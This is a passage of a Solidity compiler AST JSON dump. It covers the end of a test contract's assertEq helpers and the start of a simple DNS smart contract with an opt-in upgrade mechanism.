(bytes32)\",\"value\":\"keccak256\"},\"id\":2642,\"name\":\"Identifier\",\"src\":\"3843:9:0\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"encodePacked\",\"type\":\"function () pure returns (bytes memory)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-1,\"type\":\"abi\",\"value\":\"abi\"},\"id\":2643,\"name\":\"Identifier\",\"src\":\"3853:3:0\"}],\"id\":2644,\"name\":\"MemberAccess\",\"src\":\"3853:16:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2637,\"type\":\"string memory\",\"value\":\"a\"},\"id\":2645,\"name\":\"Identifier\",\"src\":\"3870:1:0\"}],\"id\":2646,\"name\":\"FunctionCall\",\"src\":\"3853:19:0\"}],\"id\":2647,\"name\":\"FunctionCall\",\"src\":\"3843:30:0\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes32\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes_memory_ptr\",\"typeString\":\"bytes memory\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":-8,\"type\":\"function (bytes memory) pure returns (bytes32)\",\"value\":\"keccak256\"},\"id\":2648,\"name\":\"Identifier\",\"src\":\"3877:9:0\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"member_name\":\"encodePacked\",\"type\":\"function () pure returns (bytes memory)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-1,\"type\":\"abi\",\"value\":\"abi\"},\"id\":2649,\"name\":\"Identifier\",\"src\":\"3887:3:0\"}],\"id\":2650,\"name\":\"MemberAccess\",\"src\":\"3887:16:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2639,\"type\":\"string memory\",\"value\":\"b\"},\"id\":2651,\"name\":\"Identifier\",\"src\":\"3904:1:0\"}],\"id\":2652,\"name\":\"FunctionCall\",\"src\":\"3887:19:0\"}],\"id\":2653,\"name\":\"FunctionCall\",\"src\":\"3877:30:0\"}],\"id\":2654,\"name\":\"BinaryOperation\",\"src\":\"3843:64:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_83c5224f04ac35424460a8e03b6f9e3ab1e4093e7c35cb1f35d09462d9097c2b\",\"typeString\":\"literal_string \\\"Error: Wrong `string' value\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2655,\"name\":\"Identifier\",\"src\":\"3928:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e672060737472696e67272076616c7565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong `string' value\\\"\",\"value\":\"Error: Wrong `string' value\"},\"id\":2656,\"name\":\"Literal\",\"src\":\"3940:29:0\"}],\"id\":2657,\"name\":\"FunctionCall\",\"src\":\"3928:42:0\"}],\"id\":2658,\"name\":\"EmitStatement\",\"src\":\"3923:47:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2365,\"type\":\"function (bytes32,string memory)\",\"value\":\"log_named_string\"},\"id\":2659,\"name\":\"Identifier\",\"src\":\"3989:16:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2660,\"name\":\"Literal\",\"src\":\"4006:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2639,\"type\":\"string memory\",\"value\":\"b\"},\"id\":2661,\"name\":\"Identifier\",\"src\":\"4020:1:0\"}],\"id\":2662,\"name\":\"FunctionCall\",\"src\":\"3989:33:0\"}],\"id\":2663,\"name\":\"EmitStatement\",\"src\":\"3984:38:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2365,\"type\":\"function (bytes32,string memory)\",\"value\":\"log_named_string\"},\"id\":2664,\"name\":\"Identifier\",\"src\":\"4041:16:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2665,\"name\":\"Literal\",\"src\":\"4058:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2637,\"type\":\"string memory\",\"value\":\"a\"},\"id\":2666,\"name\":\"Identifier\",\"src\":\"4072:1:0\"}],\"id\":2667,\"name\":\"FunctionCall\",\"src\":\"4041:33:0\"}],\"id\":2668,\"name\":\"EmitStatement\",\"src\":\"4036:38:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2669,\"name\":\"Identifier\",\"src\":\"4088:4:0\"}],\"id\":2670,\"name\":\"FunctionCall\",\"src\":\"4088:6:0\"}],\"id\":2671,\"name\":\"ExpressionStatement\",\"src\":\"4088:6:0\"}],\"id\":2672,\"name\":\"Block\",\"src\":\"3909:196:0\"}],\"id\":2673,\"name\":\"IfStatement\",\"src\":\"3839:266:0\"}],\"id\":2674,\"name\":\"Block\",\"src\":\"3829:282:0\"}],\"id\":2675,\"name\":\"FunctionDefinition\",\"src\":\"3768:343:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq0\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2746,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"bytes\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes\",\"type\":\"bytes\"},\"id\":2676,\"name\":\"ElementaryTypeName\",\"src\":\"4136:5:0\"}],\"id\":2677,\"name\":\"VariableDeclaration\",\"src\":\"4136:14:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2746,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"bytes\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes\",\"type\":\"bytes\"},\"id\":2678,\"name\":\"ElementaryTypeName\",\"src\":\"4152:5:0\"}],\"id\":2679,\"name\":\"VariableDeclaration\",\"src\":\"4152:14:0\"}],\"id\":2680,\"name\":\"ParameterList\",\"src\":\"4135:32:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2681,\"name\":\"ParameterList\",\"src\":\"4177:0:0\"},{\"children\":[{\"attributes\":{\"assignments\":[2683]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"ok\",\"scope\":2745,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2682,\"name\":\"ElementaryTypeName\",\"src\":\"4187:4:0\"}],\"id\":2683,\"name\":\"VariableDeclaration\",\"src\":\"4187:7:0\"},{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":2684,\"name\":\"Literal\",\"src\":\"4197:4:0\"}],\"id\":2685,\"name\":\"VariableDeclarationStatement\",\"src\":\"4187:14:0\"},{\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2677,\"type\":\"bytes memory\",\"value\":\"a\"},\"id\":2686,\"name\":\"Identifier\",\"src\":\"4216:1:0\"}],\"id\":2687,\"name\":\"MemberAccess\",\"src\":\"4216:8:0\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2679,\"type\":\"bytes memory\",\"value\":\"b\"},\"id\":2688,\"name\":\"Identifier\",\"src\":\"4228:1:0\"}],\"id\":2689,\"name\":\"MemberAccess\",\"src\":\"4228:8:0\"}],\"id\":2690,\"name\":\"BinaryOperation\",\"src\":\"4216:20:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"assignments\":[2692]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i\",\"scope\":2716,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2691,\"name\":\"ElementaryTypeName\",\"src\":\"4257:4:0\"}],\"id\":2692,\"name\":\"VariableDeclaration\",\"src\":\"4257:6:0\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2693,\"name\":\"Literal\",\"src\":\"4266:1:0\"}],\"id\":2694,\"name\":\"VariableDeclarationStatement\",\"src\":\"4257:10:0\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"<\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2692,\"type\":\"uint256\",\"value\":\"i\"},\"id\":2695,\"name\":\"Identifier\",\"src\":\"4269:1:0\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2677,\"type\":\"bytes memory\",\"value\":\"a\"},\"id\":2696,\"name\":\"Identifier\",\"src\":\"4273:1:0\"}],\"id\":2697,\"name\":\"MemberAccess\",\"src\":\"4273:8:0\"}],\"id\":2698,\"name\":\"BinaryOperation\",\"src\":\"4269:12:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"++\",\"prefix\":false,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2692,\"type\":\"uint256\",\"value\":\"i\"},\"id\":2699,\"name\":\"Identifier\",\"src\":\"4283:1:0\"}],\"id\":2700,\"name\":\"UnaryOperation\",\"src\":\"4283:3:0\"}],\"id\":2701,\"name\":\"ExpressionStatement\",\"src\":\"4283:3:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes1\",\"typeString\":\"bytes1\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"bytes1\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2677,\"type\":\"bytes memory\",\"value\":\"a\"},\"id\":2702,\"name\":\"Identifier\",\"src\":\"4310:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2692,\"type\":\"uint256\",\"value\":\"i\"},\"id\":2703,\"name\":\"Identifier\",\"src\":\"4312:1:0\"}],\"id\":2704,\"name\":\"IndexAccess\",\"src\":\"4310:4:0\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"bytes1\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2679,\"type\":\"bytes memory\",\"value\":\"b\"},\"id\":2705,\"name\":\"Identifier\",\"src\":\"4318:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2692,\"type\":\"uint256\",\"value\":\"i\"},\"id\":2706,\"name\":\"Identifier\",\"src\":\"4320:1:0\"}],\"id\":2707,\"name\":\"IndexAccess\",\"src\":\"4318:4:0\"}],\"id\":2708,\"name\":\"BinaryOperation\",\"src\":\"4310:12:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2683,\"type\":\"bool\",\"value\":\"ok\"},\"id\":2709,\"name\":\"Identifier\",\"src\":\"4346:2:0\"},{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":2710,\"name\":\"Literal\",\"src\":\"4351:5:0\"}],\"id\":2711,\"name\":\"Assignment\",\"src\":\"4346:10:0\"}],\"id\":2712,\"name\":\"ExpressionStatement\",\"src\":\"4346:10:0\"}],\"id\":2713,\"name\":\"Block\",\"src\":\"4324:51:0\"}],\"id\":2714,\"name\":\"IfStatement\",\"src\":\"4306:69:0\"}],\"id\":2715,\"name\":\"Block\",\"src\":\"4288:101:0\"}],\"id\":2716,\"name\":\"ForStatement\",\"src\":\"4252:137:0\"}],\"id\":2717,\"name\":\"Block\",\"src\":\"4238:161:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2683,\"type\":\"bool\",\"value\":\"ok\"},\"id\":2718,\"name\":\"Identifier\",\"src\":\"4419:2:0\"},{\"attributes\":{\"hexvalue\":\"66616c7365\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"false\"},\"id\":2719,\"name\":\"Literal\",\"src\":\"4424:5:0\"}],\"id\":2720,\"name\":\"Assignment\",\"src\":\"4419:10:0\"}],\"id\":2721,\"name\":\"ExpressionStatement\",\"src\":\"4419:10:0\"}],\"id\":2722,\"name\":\"Block\",\"src\":\"4405:35:0\"}],\"id\":2723,\"name\":\"IfStatement\",\"src\":\"4212:228:0\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2683,\"type\":\"bool\",\"value\":\"ok\"},\"id\":2724,\"name\":\"Identifier\",\"src\":\"4455:2:0\"}],\"id\":2725,\"name\":\"UnaryOperation\",\"src\":\"4454:3:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_e13dabfba084146b128f33bac7ab7d52568f6e7fa7ec354ce8b34aa003052cf3\",\"typeString\":\"literal_string \\\"Error: Wrong `bytes' value\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2726,\"name\":\"Identifier\",\"src\":\"4478:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e6720606279746573272076616c7565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong `bytes' value\\\"\",\"value\":\"Error: Wrong `bytes' value\"},\"id\":2727,\"name\":\"Literal\",\"src\":\"4490:28:0\"}],\"id\":2728,\"name\":\"FunctionCall\",\"src\":\"4478:41:0\"}],\"id\":2729,\"name\":\"EmitStatement\",\"src\":\"4473:46:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_stringliteral_114abc6f5feef50a69018410f606b7d627316d08afceb7cb9a49953260f8f53a\",\"typeString\":\"literal_string \\\"[cannot show `bytes' value]\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2331,\"type\":\"function (bytes32,bytes32)\",\"value\":\"log_named_bytes32\"},\"id\":2730,\"name\":\"Identifier\",\"src\":\"4538:17:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2731,\"name\":\"Literal\",\"src\":\"4556:12:0\"},{\"attributes\":{\"hexvalue\":\"5b63616e6e6f742073686f7720606279746573272076616c75655d\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"[cannot show `bytes' value]\\\"\",\"value\":\"[cannot show `bytes' value]\"},\"id\":2732,\"name\":\"Literal\",\"src\":\"4570:29:0\"}],\"id\":2733,\"name\":\"FunctionCall\",\"src\":\"4538:62:0\"}],\"id\":2734,\"name\":\"EmitStatement\",\"src\":\"4533:67:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_5ed16c64a79c5a2deea18e537423721285b2f504833bef698f18f980c85ab849\",\"typeString\":\"literal_string \\\"  Actual\\\"\"},{\"typeIdentifier\":\"t_stringliteral_114abc6f5feef50a69018410f606b7d627316d08afceb7cb9a49953260f8f53a\",\"typeString\":\"literal_string \\\"[cannot show `bytes' value]\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2331,\"type\":\"function (bytes32,bytes32)\",\"value\":\"log_named_bytes32\"},\"id\":2735,\"name\":\"Identifier\",\"src\":\"4619:17:0\"},{\"attributes\":{\"hexvalue\":\"202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Actual\\\"\",\"value\":\"  Actual\"},\"id\":2736,\"name\":\"Literal\",\"src\":\"4637:10:0\"},{\"attributes\":{\"hexvalue\":\"5b63616e6e6f742073686f7720606279746573272076616c75655d\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"[cannot show `bytes' value]\\\"\",\"value\":\"[cannot show `bytes' value]\"},\"id\":2737,\"name\":\"Literal\",\"src\":\"4649:29:0\"}],\"id\":2738,\"name\":\"FunctionCall\",\"src\":\"4619:60:0\"}],\"id\":2739,\"name\":\"EmitStatement\",\"src\":\"4614:65:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2740,\"name\":\"Identifier\",\"src\":\"4693:4:0\"}],\"id\":2741,\"name\":\"FunctionCall\",\"src\":\"4693:6:0\"}],\"id\":2742,\"name\":\"ExpressionStatement\",\"src\":\"4693:6:0\"}],\"id\":2743,\"name\":\"Block\",\"src\":\"4459:251:0\"}],\"id\":2744,\"name\":\"IfStatement\",\"src\":\"4450:260:0\"}],\"id\":2745,\"name\":\"Block\",\"src\":\"4177:539:0\"}],\"id\":2746,\"name\":\"FunctionDefinition\",\"src\":\"4117:599:0\"}],\"id\":2747,\"name\":\"ContractDefinition\",\"src\":\"704:4014:0\"}],\"id\":2748,\"name\":\"SourceUnit\",\"src\":\"679:4040:0\"}},\"src/DNS.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/DNS.sol\",\"exportedSymbols\":{\"DNS\":[308],\"IDNS\":[1462],\"Upgrade\":[2050]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":1,\"name\":\"PragmaDirective\",\"src\":\"36:23:1\"},{\"attributes\":{\"literals\":[\"experimental\",\"ABIEncoderV2\"]},\"id\":2,\"name\":\"PragmaDirective\",\"src\":\"60:33:1\"},{\"attributes\":{\"SourceUnit\":1463,\"absolutePath\":\"src/IDNS.sol\",\"file\":\"./IDNS.sol\",\"scope\":309,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":3,\"name\":\"ImportDirective\",\"src\":\"95:20:1\"},{\"attributes\":{\"SourceUnit\":2051,\"absolutePath\":\"src/Upgrade.sol\",\"file\":\"./Upgrade.sol\",\"scope\":309,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":4,\"name\":\"ImportDirective\",\"src\":\"116:23:1\"},{\"attributes\":{\"abstract\":false,\"contractDependencies\":[1462,2050],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[308,2050,1462],\"name\":\"DNS\",\"scope\":309},\"children\":[{\"attributes\":{\"text\":\"@title Simple implementation of a DNS.\\n @notice It uses `Upgrade` as its upgrade mechanism.\\n If a user chooses to\\n upgrade, the functions in this contract will relay the message to the\\n upgrade chosen by that user.\\n Users should only trust and opt-in upgrades that only accept messages where\\n msg.sender == tx.origin or\\n msg.sender is the original DNS contract or\\n msg.sender is an upgrade that the user trusted at some point.\"},\"id\":5,\"name\":\"StructuredDocumentation\",\"src\":\"141:455:1\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":6,\"name\":\"UserDefinedTypeName\",\"src\":\"612:4:1\"}],\"id\":7,\"name\":\"InheritanceSpecifier\",\"src\":\"612:4:1\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":8,\"name\":\"UserDefinedTypeName\",\"src\":\"618:7:1\"}],\"id\":9,\"name\":\"InheritanceSpecifier\",\"src\":\"618:7:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"data\",\"scope\":308,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"mapping(string => struct IDNS.Entry)\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"type\":\"mapping(string => struct IDNS.Entry)\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":10,\"name\":\"ElementaryTypeName\",\"src\":\"638:6:1\"},{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":11,\"name\":\"UserDefinedTypeName\",\"src\":\"648:5:1\"}],\"id\":12,\"name\":\"Mapping\",\"src\":\"629:25:1\"}],\"id\":13,\"name\":\"VariableDeclaration\",\"src\":\"629:30:1\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"0528b345\",\"mutability\":\"immutable\",\"name\":\"upgradeInfo\",\"scope\":308,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":15,\"name\":\"UserDefinedTypeName\",\"src\":\"1025:7:1\"},{\"attributes\":{\"text\":\"@notice The upgrade engine for this DNS contract.\\n Users need to actively opt-in the latest suggested upgrade\\n in the `upgradeInfo` contract.\\n If that upgrade is finalized and the user opted in, their calls\\n will be directed to the upgrade contract they chose.\\n That information is retrieved via `upgradeInfo.activeUpgrade(msg.sender)`.\"},\"id\":14,\"name\":\"StructuredDocumentation\",\"src\":\"663:360:1\"}],\"id\":16,\"name\":\"VariableDeclaration\",\"src\":\"1025:36:1\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":true,\"kind\":\"constructor\",\"modifiers\":[null],\"name\":\"\",\"scope\":308,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_upgradeInfo\",\"scope\":26,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":17,\"name\":\"UserDefinedTypeName\",\"src\":\"1077:7:1\"}],\"id\":18,\"name\":\"VariableDeclaration\",\"src\":\"1077:20:1\"}],\"id\":19,\"name\":\"ParameterList\",\"src\":\"1076:22:1\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":20,\"name\":\"ParameterList\",\"src\":\"1099:0:1\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract Upgrade\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":16,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":21,\"name\":\"Identifier\",\"src\":\"1103:11:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":18,\"type\":\"contract 